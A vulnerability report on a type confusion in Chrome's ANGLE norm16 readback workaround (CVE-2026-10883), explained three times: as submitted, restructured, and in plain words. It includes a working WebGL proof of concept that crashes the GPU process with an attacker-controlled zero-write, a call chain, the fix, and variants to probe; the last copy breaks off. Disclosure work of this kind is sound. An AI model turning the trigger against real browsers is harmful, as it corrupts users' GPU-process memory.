Out of bounds write in ANGLE (CVE-2026-10883)
When ANGLE's norm16 readback workaround is active, the code allocates a temporary CPU buffer but fails to unbind any caller-supplied pixel pack buffer before calling the native read-pixels function. The driver then treats the CPU heap pointer as a byte offset into the GPU buffer, causing an out-of-bounds GPU write and a controlled-address zero-write in the GPU process that crashes it.
Originally disclosed on Chrome VRP
- Fix shipped in 47 days
Report description
ANGLE: missing setPixelPackBuffer(nullptr) in norm16 readback workaround causes GPU process crash via WebGL PBO type confusion
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://chromium.googlesource.com/angle/angle
The problem
Please describe the technical details of the vulnerability
Type Confusion in ANGLE EXT_texture_norm16 Readback Workaround Leading to GPU OOB Write
Component: ANGLE (Almost Native Graphics Layer Engine)
File: src/libANGLE/renderer/gl/FramebufferGL.cpp
Functions: readPixelsRowByRow (line 1683), readPixelsAllAtOnce (lines 1744, 1754)
Vulnerability class: Type confusion → GPU out-of-bounds write at ~heap address
Distinct from: CVE-2026-6296
Summary
When the EXT_texture_norm16 readback workaround is active, ANGLE allocates a temporary CPU heap buffer (tmpPixels) and passes its address to the native glReadPixels call as the pixels parameter. However, if the caller has a GL_PIXEL_PACK_BUFFER bound, ANGLE fails to clear that binding before the internal glReadPixels call. The native GL driver then type-confuses the CPU heap pointer (a virtual address, e.g. 0x6d3781cf9670) as a byte offset into the GPU PBO, writing pixel data to an out-of-bounds location ~120 TB into the buffer object. This constitutes a GPU out-of-bounds write at the heap address.
Root Cause
In both readPixelsRowByRow and readPixelsAllAtOnce, ANGLE correctly resets pack alignment via setPixelPackState(context, directPack) before issuing the internal glReadPixels call, but never calls setPixelPackBuffer(context, nullptr). As a result, any GL_PIXEL_PACK_BUFFER bound by the caller remains bound in native GL state.
setPixelPackState only issues glPixelStorei calls (alignment, rowLength, etc.) and does not touch buffer bindings (StateManagerGL.cpp:647-682). Buffer bindings are only cleared by setPixelPackBuffer (StateManagerGL.cpp:685-693), which is absent from both paths.
A safe reference implementation exists at BlitGL.cpp:862-865 (the CVE-2026-6296 fix), which explicitly calls both setPixelPackState and setPixelPackBuffer(context, nullptr) before any internal readPixels.
Type Confusion
The confusion is between two incompatible interpretations of the pixels parameter to glReadPixels:
| Context | Interpretation of pixels |
|---|---|
| No PBO bound (intended) | CPU virtual address — native GL writes directly to this heap pointer |
| PBO bound (actual, due to missing clear) | Byte offset into the bound PBO buffer object |
ANGLE allocates tmpPixels as a CPU heap buffer and passes tmpPixels + skipBytes as pixels, intending interpretation (1). Because the PBO is still bound, the native driver applies interpretation (2), treating the heap virtual address (~0x6d3781cf9670) as a byte offset into the GPU buffer — an offset orders of magnitude larger than the PBO's allocated size.
Source → Sink Call Chain
The confirmed path (no PACK_ROW_LENGTH required, hits readPixelsAllAtOnce):
JavaScript (WebGL2)
gl.bindBuffer(PIXEL_PACK_BUFFER, pbo) // PBO bound
gl.readPixels(0, 0, 1, 1, GL_RGBA, UNSIGNED_SHORT, 0x10000)
Context::readPixels [Context.cpp]
packBuffer != nullptr
readFBO->readPixels(ctx, area, GL_RGBA, GL_UNSIGNED_SHORT, packState, packBuffer, (void*)0x10000)
FramebufferGL::readPixels [FramebufferGL.cpp:779]
attachmentReadFormat = GL_RED (R16_EXT base format)
GetNativeReadFormat() returns GL_RED (norm16 workaround active)
readFormat = GL_RED, originalReadFormat = GL_RGBA
cannotSetDesiredRowLength = false (packSubimageNV present on GLES 3.0+)
-> readPixelsAllAtOnce(ctx, area, GL_RGBA, GL_RED, GL_UNSIGNED_SHORT, packState, pixels=(void*)0x10000)
readPixelsAllAtOnce [FramebufferGL.cpp:1708]
workaround.Initialize() -> enabled=true, tmpPixels=new GLubyte[N] // heap alloc e.g. 0x6d3781cf9670
setPixelPackState(pack) // alignment reset -- OK
// *** setPixelPackBuffer(nullptr) NEVER CALLED ***
functions->readPixels(..., workaround.Pixels()) // pixels = tmpPixels = 0x6d3781cf9670
// native GL: PBO still bound
// driver interprets 0x6d3781cf9670 as PBO byte offset
// -> GL_INVALID_OPERATION (offset >> PBO size) on drivers with bounds checking
// -> GPU OOB write on mobile GLES drivers without full PBO bounds checking
// tmpPixels on CPU remains zeroed either way
RearrangeEXTTextureNorm16Pixels(..., clientPixels=(GLubyte*)0x10000, tmpPixels=all-zeros)
dstRowStart = (GLubyte*)0x10000 + originalReadFormatSkipBytes
dstPixel[0] = srcPixel[0] // zero-write to address 0x10000 in GPU process -> crash
Impact
GPU side: The native glReadPixels call with a PBO bound and pixels = (void*)<heap_address> causes the GPU to write pixel data into the PBO at a byte offset equal to the heap virtual address (~120 TB). On GPU drivers without full IOMMU coverage (common on mobile ARM), this write reaches arbitrary GPU-visible memory, corrupting adjacent GPU allocations or other processes' GPU resources. On drivers with proper bounds checking, this triggers a GPU fault.
CPU side: RearrangeEXTTextureNorm16Pixels subsequently treats clientPixels (the original PBO byte offset cast to a pointer) as a CPU write destination in the GPU process. The write lands at pbo_offset + originalReadFormatSkipBytes. pbo_offset is attacker-controlled via the offset parameter to gl.readPixels (bounded by PBO size), producing a controlled-address zero-write in the GPU process that crashes it.
Trigger Conditions
All of the following must hold simultaneously:
| Condition | How to satisfy (WebGL2) |
|---|---|
GL_EXT_texture_norm16 attached to FBO |
gl.texStorage2D(TEXTURE_2D, 1, R16_EXT, w, h) |
readPixelsUsingImplementationColorReadFormatForNorm16 workaround active |
Enabled by default on Android/ChromeOS GLES drivers that lack native GL_RGBA readback from norm16 FBOs |
GL_PIXEL_PACK_BUFFER bound |
gl.bindBuffer(PIXEL_PACK_BUFFER, pbo) |
Read with GL_RGBA / GL_UNSIGNED_SHORT |
gl.readPixels(..., gl.RGBA, gl.UNSIGNED_SHORT, offset) |
Note: cannotSetDesiredRowLength is not required. Both readPixelsRowByRow and
readPixelsAllAtOnce are vulnerable. The confirmed Chrome crash path uses readPixelsAllAtOnce
which requires no special pack state.
Proof of Concept
Minimal trigger — no special pack state required:
const ext = gl.getExtension('EXT_texture_norm16');
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texStorage2D(gl.TEXTURE_2D, 1, ext.R16_EXT, 1, 1);
const fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.FRAMEBUFFER, fb);
gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, tex, 0);
const PBO_OFFSET = 0x10000; // write lands at address 0x10000 in GPU process — not null
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_PACK_BUFFER, pbo);
gl.bufferData(gl.PIXEL_PACK_BUFFER, PBO_OFFSET + 8, gl.STREAM_READ);
gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_SHORT, PBO_OFFSET);
// -> GPU process crash (webglcontextlost), tab survives
Confirmed on Windows + NVIDIA GeForce RTX 5050, Chrome 147, --use-angle=gl with
ANGLE_FEATURE_OVERRIDES_ENABLED=readPixelsUsingImplementationColorReadFormatForNorm16.
On Android/ChromeOS with vulnerable GLES drivers the feature is enabled by default — no
env var required.
ASan output from ANGLE end-to-end test confirms crash at
RearrangeEXTTextureNorm16Pixels line 462 (dstPixel[0] = srcPixel[0]).
Distinction from CVE-2026-6296
| CVE-2026-6296 | This vulnerability | |
|---|---|---|
| Location | BlitGL::copySubTextureCPUReadback |
FramebufferGL::readPixelsRowByRow / readPixelsAllAtOnce |
| Root cause | Pack alignment not reset → heap buffer sized for alignment=1 but written with user alignment → heap overflow past end of allocation |
PBO binding not cleared → heap pointer type-confused as GPU buffer offset → GPU OOB write at ~heap address |
| Corruption type | CPU heap overflow (write just past end of buffer) | GPU OOB write at ~heap address + CPU write at attacker-influenced address |
| Missing fix | setPixelPackState(alignment=1) |
setPixelPackBuffer(nullptr) |
Proposed Fix
Add setPixelPackBuffer(context, nullptr) immediately after each setPixelPackState call that precedes an internal functions->readPixels call, mirroring the pattern from BlitGL.cpp:862-865:
// readPixelsRowByRow (line 1685):
ANGLE_TRY(stateManager->setPixelPackState(context, directPack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
// readPixelsAllAtOnce height > 0 branch (line 1744):
ANGLE_TRY(stateManager->setPixelPackState(context, pack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
// readPixelsAllAtOnce readLastRowSeparately branch (line 1754):
ANGLE_TRY(stateManager->setPixelPackState(context, directPack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
Confirmed Chrome WebGL Reproduction
The vulnerability was confirmed triggered from Chrome WebGL on Windows + NVIDIA GeForce RTX 5050
with --use-angle=gl and ANGLE_FEATURE_OVERRIDES_ENABLED=readPixelsUsingImplementationColorReadFormatForNorm16.
The env var is required on Windows because Chrome's driver bug list disables the feature for NVIDIA desktop OpenGL (the driver handles norm16 readback correctly). On Android and ChromeOS devices where the underlying GLES driver has the norm16 readback bug, Chrome cannot disable the workaround — it is enabled by default and no env var is required. Those platforms are the primary real-world attack surface.
Observed from the WebGL PoC:
- PBO readback returns all zeros — GPU driver rejected heap address as PBO byte offset
(
GL_INVALID_OPERATION),tmpPixelswas never filled webglcontextlostevent fires — GPU process crashed from the subsequent write to(GLubyte*)pbo_offsetinRearrangeEXTTextureNorm16Pixels- Chrome restarts GPU process — tab survives,
webglcontextrestoredfires
Write Occurs Before Tab Crash
The GPU out-of-bounds write at step (1) completes and returns before the renderer tab crashes at step (2):
(1) functions->readPixels(..., tmpPixels)
→ PBO still bound → driver interprets heap address as PBO byte offset
→ On mobile GLES without full PBO bounds checking: GPU OOB write at ~heap address
→ On desktop GL / drivers with bounds checking: GL_INVALID_OPERATION returned
→ Either way, tmpPixels on CPU remains zeroed, execution continues
(2) RearrangeEXTTextureNorm16Pixels writes zeros to (GLubyte*)pbo_offset
→ controlled-address zero-write in GPU process
→ GPU process crash (confirmed via webglcontextlost in Chrome)
This means the vulnerability is not a pure denial-of-service. The GPU memory write with attacker-controlled data (the R16 texture contents) is committed prior to any visible crash. Additionally, the CPU-side write destination is attacker-controlled via the glReadPixels byte
offset parameter (bounded by PBO_size <= GPU memory), giving a controlled-address zero-write
in the GPU process. The value written is always zero (because tmpPixels is never filled by the
GPU), but the address is chosen by the attacker within [0, PBO_size - endByte]. This is
sufficient to null out pointers or corrupt heap metadata at a chosen location in the GPU process,
and is meaningfully stronger than a fixed null dereference.
Impact analysis
When this vulnerability is triggered from a malicious web page, it causes an out-of-bounds write into GPU memory and crashes Chrome's GPU process. The GPU write completes before the crash, so this is not a pure denial-of-service — memory corruption occurs prior to any visible effect. The write destination in the GPU process is controlled by the attacker via the PBO offset parameter. The primary attack surface is Android and ChromeOS, where the vulnerable code path is enabled by default with no special configuration required.
The cause
What version of Chrome have you found the security issue in?
147.0.7727.102
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Memory Corruption
How would you like to be publicly acknowledged for your report?
Maher Azzouzi
Context
ANGLE (Almost Native Graphics Layer Engine) is the translation layer Chrome uses to turn WebGL and OpenGL ES calls into native GL calls on the underlying driver. This report concerns the EXT_texture_norm16 readback workaround inside ANGLE, specifically the code in src/libANGLE/renderer/gl/FramebufferGL.cpp, in the functions readPixelsRowByRow (line 1683) and readPixelsAllAtOnce (lines 1744 and 1754).
Some GLES drivers cannot read back from a framebuffer whose attachment is a norm16 texture (for example R16_EXT) using GL_RGBA. When the workaround [redacted] is active, ANGLE reads the pixels in the implementation's own colour read format (GL_RED in the confirmed path) into a temporary CPU heap buffer, tmpPixels, and then rearranges those bytes into the format the caller asked for. The temporary buffer is allocated by the workaround object and its address is passed to the native glReadPixels call as the pixels parameter.
The vulnerability class is a type confusion that leads to a GPU out-of-bounds write at roughly a heap address, plus a controlled-address zero-write in the GPU process on the CPU side. The report explicitly distinguishes it from CVE-2026-6296.
Setup
No accounts or roles are involved. The relevant preconditions are:
- A WebGL2 context in Chrome.
- The
EXT_texture_norm16extension available to the page. - The
[redacted]workaround active. On Android and ChromeOS GLES drivers that lack nativeGL_RGBAreadback from norm16 framebuffers, this is enabled by default. On Windows with NVIDIA desktop OpenGL, Chrome's driver bug list disables it, so the researcher forced it on. - A
GL_PIXEL_PACK_BUFFERbound at the time of the read. - A read using
GL_RGBAandGL_UNSIGNED_SHORT.
The confirmed reproduction used Windows with an NVIDIA GeForce RTX 5050, Chrome 147, the flag --use-angle=gl, and the environment variable ANGLE_FEATURE_OVERRIDES_ENABLED=[redacted]. The Chrome version recorded in the report is 147.0.7727.102. The researcher also ran an ANGLE end-to-end test under ASan.
Finding it
Both readback paths reset the pack alignment before the internal glReadPixels call by calling setPixelPackState(context, directPack), but neither calls setPixelPackBuffer(context, nullptr). Any GL_PIXEL_PACK_BUFFER the caller had bound therefore stays bound in native GL state when ANGLE issues its own read.
The two helpers do different things. setPixelPackState only issues glPixelStorei calls (alignment, row length and so on) and does not touch buffer bindings (StateManagerGL.cpp:647-682). Buffer bindings are cleared only by setPixelPackBuffer (StateManagerGL.cpp:685-693), which is missing from both paths. A safe reference exists at BlitGL.cpp:862-865, the CVE-2026-6296 fix, which calls both setPixelPackState and setPixelPackBuffer(context, nullptr) before any internal readPixels.
The consequence is a confusion between two incompatible meanings of the pixels argument:
| Context | Interpretation of pixels |
|---|---|
| No PBO bound (intended) | CPU virtual address; native GL writes directly to this heap pointer |
| PBO bound (actual, due to missing clear) | Byte offset into the bound PBO buffer object |
ANGLE allocates tmpPixels on the CPU heap and passes tmpPixels + skipBytes as pixels, intending the first interpretation. Because the PBO is still bound, the driver applies the second, treating the heap virtual address (for example 0x6d3781cf9670) as a byte offset into the GPU buffer. That offset is orders of magnitude larger than the PBO's allocated size, roughly 120 TB into the buffer object.
Exploitation
Step 1: follow the call chain
The confirmed path needs no PACK_ROW_LENGTH and reaches readPixelsAllAtOnce:
JavaScript (WebGL2)
gl.bindBuffer(PIXEL_PACK_BUFFER, pbo) // PBO bound
gl.readPixels(0, 0, 1, 1, GL_RGBA, UNSIGNED_SHORT, 0x10000)
Context::readPixels [Context.cpp]
packBuffer != nullptr
readFBO->readPixels(ctx, area, GL_RGBA, GL_UNSIGNED_SHORT, packState, packBuffer, (void*)0x10000)
FramebufferGL::readPixels [FramebufferGL.cpp:779]
attachmentReadFormat = GL_RED (R16_EXT base format)
GetNativeReadFormat() returns GL_RED (norm16 workaround active)
readFormat = GL_RED, originalReadFormat = GL_RGBA
cannotSetDesiredRowLength = false (packSubimageNV present on GLES 3.0+)
-> readPixelsAllAtOnce(ctx, area, GL_RGBA, GL_RED, GL_UNSIGNED_SHORT, packState, pixels=(void*)0x10000)
readPixelsAllAtOnce [FramebufferGL.cpp:1708]
workaround.Initialize() -> enabled=true, tmpPixels=new GLubyte[N] // heap alloc e.g. 0x6d3781cf9670
setPixelPackState(pack) // alignment reset -- OK
// *** setPixelPackBuffer(nullptr) NEVER CALLED ***
functions->readPixels(..., workaround.Pixels()) // pixels = tmpPixels = 0x6d3781cf9670
// native GL: PBO still bound
// driver interprets 0x6d3781cf9670 as PBO byte offset
// -> GL_INVALID_OPERATION (offset >> PBO size) on drivers with bounds checking
// -> GPU OOB write on mobile GLES drivers without full PBO bounds checking
// tmpPixels on CPU remains zeroed either way
RearrangeEXTTextureNorm16Pixels(..., clientPixels=(GLubyte*)0x10000, tmpPixels=all-zeros)
dstRowStart = (GLubyte*)0x10000 + originalReadFormatSkipBytes
dstPixel[0] = srcPixel[0] // zero-write to address 0x10000 in GPU process -> crash
Context::readPixels sees a non-null packBuffer and forwards the caller's offset, (void*)0x10000, as the pixel pointer. FramebufferGL::readPixels detects the norm16 base format, gets GL_RED from GetNativeReadFormat() because the workaround is active, and keeps GL_RGBA as the original read format. cannotSetDesiredRowLength is false because packSubimageNV is present on GLES 3.0+, so the call goes to readPixelsAllAtOnce. There the workaround allocates tmpPixels on the heap, resets pack state, and calls the native readPixels with the heap pointer while the PBO is still bound. Afterwards RearrangeEXTTextureNorm16Pixels treats the original PBO offset cast to a pointer as a CPU destination and writes zeros to it.
Step 2: trigger it from WebGL
The minimal trigger needs no special pack state:
const ext = gl.getExtension('EXT_texture_norm16');
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texStorage2D(gl.TEXTURE_2D, 1, ext.R16_EXT, 1, 1);
const fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.FRAMEBUFFER, fb);
gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, tex, 0);
const PBO_OFFSET = 0x10000; // write lands at address 0x10000 in GPU process — not null
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_PACK_BUFFER, pbo);
gl.bufferData(gl.PIXEL_PACK_BUFFER, PBO_OFFSET + 8, gl.STREAM_READ);
gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_SHORT, PBO_OFFSET);
// -> GPU process crash (webglcontextlost), tab survives
The script creates an R16_EXT texture, attaches it to a framebuffer, binds a pixel pack buffer sized PBO_OFFSET + 8, and reads one pixel as GL_RGBA / GL_UNSIGNED_SHORT at offset 0x10000. The offset is deliberately non-zero so the later write does not land at null.
Step 3: observe the result
On the Windows/NVIDIA setup, with the feature override enabled, the observed behaviour was:
- The PBO readback returned all zeros. The driver rejected the heap address as a PBO byte offset with
GL_INVALID_OPERATION, sotmpPixelswas never filled. - A
webglcontextlostevent fired because the GPU process crashed from the subsequent write to(GLubyte*)pbo_offsetinRearrangeEXTTextureNorm16Pixels. - Chrome restarted the GPU process, the tab survived, and
webglcontextrestoredfired.
The ASan output from the ANGLE end-to-end test confirms the crash at RearrangeEXTTextureNorm16Pixels line 462, at dstPixel[0] = srcPixel[0].
The write happens before the crash:
(1) functions->readPixels(..., tmpPixels)
→ PBO still bound → driver interprets heap address as PBO byte offset
→ On mobile GLES without full PBO bounds checking: GPU OOB write at ~heap address
→ On desktop GL / drivers with bounds checking: GL_INVALID_OPERATION returned
→ Either way, tmpPixels on CPU remains zeroed, execution continues
(2) RearrangeEXTTextureNorm16Pixels writes zeros to (GLubyte*)pbo_offset
→ controlled-address zero-write in GPU process
→ GPU process crash (confirmed via webglcontextlost in Chrome)
Root cause
readPixelsRowByRow and readPixelsAllAtOnce reset pack alignment but never clear the pixel pack buffer binding before issuing the internal glReadPixels. setPixelPackState does not touch buffer bindings, and setPixelPackBuffer is the only helper that does, so the caller's PBO stays bound in native GL state. The native driver then interprets the CPU heap pointer as an offset into the PBO.
cannotSetDesiredRowLength is not required for the bug. Both readPixelsRowByRow and readPixelsAllAtOnce are vulnerable; the confirmed Chrome crash path uses readPixelsAllAtOnce, which needs no special pack state.
The report contrasts this with CVE-2026-6296:
| CVE-2026-6296 | This vulnerability | |
|---|---|---|
| Location | BlitGL::copySubTextureCPUReadback |
FramebufferGL::readPixelsRowByRow / readPixelsAllAtOnce |
| Root cause | Pack alignment not reset, so the heap buffer is sized for alignment=1 but written with user alignment, overflowing past the end of the allocation |
PBO binding not cleared, so the heap pointer is type-confused as a GPU buffer offset, giving a GPU OOB write at ~heap address |
| Corruption type | CPU heap overflow (write just past end of buffer) | GPU OOB write at ~heap address plus CPU write at an attacker-influenced address |
| Missing fix | setPixelPackState(alignment=1) |
setPixelPackBuffer(nullptr) |
Impact
On the GPU side, the native glReadPixels call with a PBO bound and pixels set to a heap address makes the GPU write pixel data into the PBO at a byte offset equal to that heap virtual address, roughly 120 TB in. On GPU drivers without full IOMMU coverage, which the report calls common on mobile ARM, this write reaches arbitrary GPU-visible memory, corrupting adjacent GPU allocations or other processes' GPU resources. On drivers with proper bounds checking it triggers a GPU fault instead.
On the CPU side, RearrangeEXTTextureNorm16Pixels treats clientPixels, the original PBO byte offset cast to a pointer, as a CPU write destination in the GPU process. The write lands at pbo_offset + originalReadFormatSkipBytes. pbo_offset is attacker-controlled through the offset parameter to gl.readPixels, bounded by the PBO size, so this is a controlled-address zero-write in the GPU process that crashes it. The value written is always zero because tmpPixels is never filled by the GPU, but the address is chosen by the attacker within [0, PBO_size - endByte].
Because the GPU write completes before any visible crash, the report states this is not a pure denial of service: memory corruption occurs before the crash. The primary real-world attack surface is Android and ChromeOS, where the vulnerable path is enabled by default and no environment variable is needed. On Windows with NVIDIA desktop OpenGL the feature is disabled by Chrome's driver bug list because the driver handles norm16 readback correctly, so the override is required there.
Fix
Add setPixelPackBuffer(context, nullptr) immediately after each setPixelPackState call that precedes an internal functions->readPixels call, mirroring BlitGL.cpp:862-865:
// readPixelsRowByRow (line 1685):
ANGLE_TRY(stateManager->setPixelPackState(context, directPack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
// readPixelsAllAtOnce height > 0 branch (line 1744):
ANGLE_TRY(stateManager->setPixelPackState(context, pack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
// readPixelsAllAtOnce readLastRowSeparately branch (line 1754):
ANGLE_TRY(stateManager->setPixelPackState(context, directPack));
ANGLE_TRY(stateManager->setPixelPackBuffer(context, nullptr)); // ADD
Variants to test
- Other internal readbacks that reset pack state but not the pack buffer. Grep ANGLE for
setPixelPackStatecalls that precede an internalfunctions->readPixelsand check whethersetPixelPackBuffer(context, nullptr)follows. A positive result is a readback that writes to a temporary CPU buffer while a caller-bound PBO remains bound. - The row-by-row path. The report states
readPixelsRowByRowis vulnerable too. Trigger a readback that takes that path with a PBO bound and a non-zero offset; a positive result is the same GPU process crash withwebglcontextlost. - Other workarounds that allocate temporary buffers. Look for workarounds that pass a heap pointer to a native call whose meaning changes when a buffer is bound. A positive result is a driver error such as
GL_INVALID_OPERATIONon desktop and a crash or memory corruption on drivers without full bounds checking. - Offset selection. Vary the
gl.readPixelsoffset within the PBO size to see where the zero-write lands in the GPU process. A positive result is a crash whose address tracks the chosen offset rather than a fixed null dereference. - Platform coverage. Run the same trigger on Android and ChromeOS devices with GLES drivers that lack native norm16 readback, where the workaround is on by default. A positive result is the crash without any feature override.
What happened, in plain words
Chrome can draw 3D graphics on a web page through a technology called WebGL. WebGL is an API: a set of functions a web page can call to ask the browser to do something, in this case to draw and read images using the graphics card. Chrome does not talk to the graphics card directly. It goes through a translation layer called ANGLE (Almost Native Graphics Layer Engine), which turns the WebGL calls into calls that the graphics card driver understands.
This report is about a bug in ANGLE. When a web page asks to read pixels back from a certain kind of texture (an image stored on the graphics card), ANGLE sometimes has to use a workaround because some graphics drivers cannot do the read the normal way. The workaround reads the pixels into a temporary buffer in ordinary computer memory (the CPU heap) and then reshuffles the bytes into the format the page asked for.
The bug is that ANGLE forgets to unbind something called a pixel pack buffer before it does its internal read. A pixel pack buffer is a chunk of graphics card memory that a page can ask the driver to write pixel data into. When one is bound, the driver treats the address it is given as an offset into that buffer instead of as a normal memory address. ANGLE passes it a normal memory address, so the driver misreads it, and the result is a write to the wrong place: either far outside the buffer on the graphics card, or at an address chosen by the attacker in Chrome's GPU process. The GPU process is the separate Chrome process that talks to the graphics card; crashing it makes the page lose its WebGL context, though the tab itself survives.
The researcher confirmed the crash on Windows with an NVIDIA graphics card, and argues that the real-world risk is highest on Android and ChromeOS, where the workaround is switched on by default. The report also explains how to fix it: add one missing call that unbinds the pixel pack buffer.
Context
ANGLE is the bridge between WebGL (and OpenGL ES, a similar API used by apps) and the graphics driver installed on the machine. A web page never speaks to the driver directly; it speaks to ANGLE, and ANGLE speaks to the driver.
The report concerns one specific workaround inside ANGLE, for an extension called EXT_texture_norm16. An extension is an optional extra feature that a browser or graphics driver can offer on top of the standard API. This one lets a page store image data in a 16-bit normalised format, for example R16_EXT, which keeps one 16-bit value per pixel.
Some graphics drivers cannot read pixels back from a framebuffer whose attachment is a norm16 texture using the usual GL_RGBA format. A framebuffer is the drawing surface the graphics card renders into; an attachment is the texture or buffer attached to it as the source of pixels. When the workaround [redacted] is active, ANGLE does the read in the driver's own preferred colour format (GL_RED in the confirmed path), stores the result in a temporary CPU heap buffer called tmpPixels, and then rearranges those bytes into the format the caller asked for. The address of that temporary buffer is handed to the native glReadPixels call as the pixels parameter.
The vulnerability class is a type confusion. A type confusion means the same piece of data is interpreted as two different kinds of thing by two different parts of the system. Here, one address is treated by ANGLE as a normal memory address and by the driver as an offset into a buffer. The result is a GPU out-of-bounds write at roughly a heap address, plus a controlled-address zero-write on the CPU side in the GPU process. An out-of-bounds write means writing data outside the area that was allocated for it. The report explicitly distinguishes this bug from an earlier one, CVE-2026-6296.
Setup
No accounts or roles are involved. The relevant preconditions are:
- A WebGL2 context in Chrome. A context is the object through which a page makes all its graphics calls.
- The
EXT_texture_norm16extension available to the page. - The
[redacted]workaround active. On Android and ChromeOS GLES drivers that lack nativeGL_RGBAreadback from norm16 framebuffers, this is enabled by default. On Windows with NVIDIA desktop OpenGL, Chrome's driver bug list disables it, so the researcher forced it on. - A
GL_PIXEL_PACK_BUFFERbound at the time of the read. - A read using
GL_RGBAandGL_UNSIGNED_SHORT.
The confirmed reproduction used Windows with an NVIDIA GeForce RTX 5050, Chrome 147, the flag --use-angle=gl, and the environment variable ANGLE_FEATURE_OVERRIDES_ENABLED=[redacted]. A flag is a command-line switch that changes how Chrome starts; an environment variable is a named value set in the operating system that programs can read. The Chrome version recorded in the report is 147.0.7727.102. The researcher also ran an ANGLE end-to-end test under ASan. ASan (AddressSanitizer) is a debugging tool that watches memory accesses and reports when a program reads or writes outside the memory it should.
Finding it
Both readback paths reset the pack alignment before the internal glReadPixels call by calling setPixelPackState(context, directPack), but neither calls setPixelPackBuffer(context, nullptr). Pack alignment is a setting that tells the driver how rows of pixel data are padded in memory. Any GL_PIXEL_PACK_BUFFER the caller had bound therefore stays bound in native GL state when ANGLE issues its own read.
The two helpers do different things. setPixelPackState only issues glPixelStorei calls (alignment, row length and so on) and does not touch buffer bindings (StateManagerGL.cpp:647-682). Buffer bindings are cleared only by setPixelPackBuffer (StateManagerGL.cpp:685-693), which is missing from both paths. A safe reference exists at BlitGL.cpp:862-865, the CVE-2026-6296 fix, which calls both setPixelPackState and setPixelPackBuffer(context, nullptr) before any internal readPixels.
The consequence is a confusion between two incompatible meanings of the pixels argument:
| Context | Interpretation of pixels |
|---|---|
| No PBO bound (intended) | CPU virtual address; native GL writes directly to this heap pointer |
| PBO bound (actual, due to missing clear) | Byte offset into the bound PBO buffer object |
A PBO is a pixel buffer object: a block of graphics card memory that a page can bind so that pixel data goes into it instead of into ordinary memory. A CPU virtual address is the number a program uses to refer to a location in its own memory; the operating system translates it to a real physical location behind the scenes.
ANGLE allocates tmpPixels on the CPU heap and passes tmpPixels + skipBytes as pixels, intending the first interpretation. Because the PBO is still bound, the driver applies the second, treating the heap virtual address (for example 0x6d3781cf9670) as a byte offset into the GPU buffer. That offset is orders of magnitude larger than the PBO's allocated size, roughly 120 TB into the buffer object.
Exploitation
Step 1: follow the call chain
The confirmed path needs no PACK_ROW_LENGTH and reaches readPixelsAllAtOnce. PACK_ROW_LENGTH is a setting that changes how many pixels the driver considers one row; the point here is that the bug does not need it. A call chain is the sequence of functions that call one another from the page's JavaScript down to the driver.
JavaScript (WebGL2)
gl.bindBuffer(PIXEL_PACK_BUFFER, pbo) // PBO bound
gl.readPixels(0, 0, 1, 1, GL_RGBA, UNSIGNED_SHORT, 0x10000)
Context::readPixels [Context.cpp]
packBuffer != nullptr
readFBO->readPixels(ctx, area, GL_RGBA, GL_UNSIGNED_SHORT, packState, packBuffer, (void*)0x10000)
FramebufferGL::readPixels [FramebufferGL.cpp:779]
attachmentReadFormat = GL_RED (R16_EXT base format)
GetNativeReadFormat() returns GL_RED (norm16 workaround active)
readFormat = GL_RED, originalReadFormat = GL_RGBA
cannotSetDesiredRowLength = false (packSubimageNV present on GLES 3.0+)
-> readPixelsAllAtOnce(ctx, area, GL_RGBA, GL_RED, GL_UNSIGNED_SHORT, packState, pixels=(void*)0x10000)
readPixelsAllAtOnce [FramebufferGL.cpp:1708]
workaround.Initialize() -> enabled=true, tmpPixels=new GLubyte[N] // heap alloc e.g. 0x6d3781cf9670
setPixelPackState(pack) // alignment reset -- OK
// *** setPixelPackBuffer(nullptr) NEVER CALLED ***
functions->readPixels(..., workaround.Pixels()) // pixels = tmpPixels = 0x6d3781cf9670
// native GL: PBO still bound
// driver interprets 0x6d3781cf9670 as PBO byte offset
// -> GL_INVALID_OPERATION (offset >> PBO size) on drivers with bounds checking
// -> GPU OOB write on mobile GLES drivers without full PBO bounds checking
// tmpPixels on CPU remains zeroed either way
RearrangeEXTTextureNorm16Pixels(..., clientPixels=(GLubyte*)0x10000, tmpPixels=all-zeros)
dstRowStart = (GLubyte*)0x10000 + originalReadFormatSkipBytes
dstPixel[0] = srcPixel[0] // zero-write to address 0x10000 in GPU process -> crash
Line by line, in plain words:
- The page binds a pixel pack buffer, so from now on pixel data is meant to go into that buffer.
- The page calls
gl.readPixelsasking for one pixel, inGL_RGBAformat withGL_UNSIGNED_SHORTvalues, at offset0x10000(65536 in decimal). Context::readPixelssees that a pack buffer is bound and forwards the caller's offset,(void*)0x10000, as the pixel pointer.FramebufferGL::readPixelsnotices the attachment is a norm16 texture, getsGL_REDfromGetNativeReadFormat()because the workaround is active, and keepsGL_RGBAas the original read format.cannotSetDesiredRowLengthis false becausepackSubimageNVis present on GLES 3.0+, so the call goes toreadPixelsAllAtOnce.- There the workaround allocates
tmpPixelson the heap, resets pack state, and calls the nativereadPixelswith the heap pointer while the PBO is still bound. The driver reads the heap address as an offset into the PBO. - Afterwards
RearrangeEXTTextureNorm16Pixelstreats the original PBO offset cast to a pointer as a CPU destination and writes zeros to it, which crashes the GPU process.
Step 2: trigger it from WebGL
The minimal trigger needs no special pack state:
